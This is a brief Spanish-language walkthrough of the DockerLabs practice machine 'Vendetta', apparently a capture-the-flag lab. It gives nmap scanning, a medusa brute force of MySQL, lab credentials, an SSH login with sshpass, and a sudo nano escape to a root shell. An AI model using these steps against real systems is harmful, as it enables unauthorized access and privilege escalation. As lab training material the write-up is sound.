Máquina: Vendetta
SO: Linux
Nivel: Facil
DockerLabs


1. Descubriendo los puertos abiertos tenemos la 22, 80 y 3306.

sudo nmap -p- --open -T5 --min-rate=5000 -sCV -Pn -n 10.88.0.2

img

2. Revisamos la web, observando cuidadosamente podemos ver la V en negrita lo que nos hace pensar en un potencial usuario ya que mas no tenemos.

http://172.17.0.2

img

3. Hacemos fuerza bruta al mysql, para esto inverti el rockyou ya que tenia buen tiempo esperando; decidi invertirlo y quitar los caracteres no imprimibles; y ojo el usuario V en mayuscula.

tac /usr/share/wordlists/rockyou.txt | strings > wordlist

medusa -h 172.17.0.2 -u V -P wordlist -M mysql -n 3306

img

Me paso que estaba bloqueado el 172.17.0.1 para esto ingresamos al contenedor docker exec -it container_id_or_name bash y ejecutamos mariadb-admin flush-hosts; ademas con hydra me bloqueaba continuamente asi que use medusa


4. Nos conectamos a mysql; encontramos unas credenciales que suponemos que son para acceder por el ssh.

mysql -h 172.17.0.2 -u V -pie168

show databases;

use BTN;

show tables;

select * from users;

img img

5. Accedemos por el ssh con estas credenciales.

sshpass -p "OldBailey" ssh Vendetta@172.17.0.2 -p 22

img

6. Buscamos binarios SUID; encontramos uno y aprovechamos de este para escalar a root. Ojo gtfobins.

sudo -l

sudo /usr/bin/nano

ctrl + r

ctrl + x

reset; bash 1>&0 2>&0

img img


Finalizado.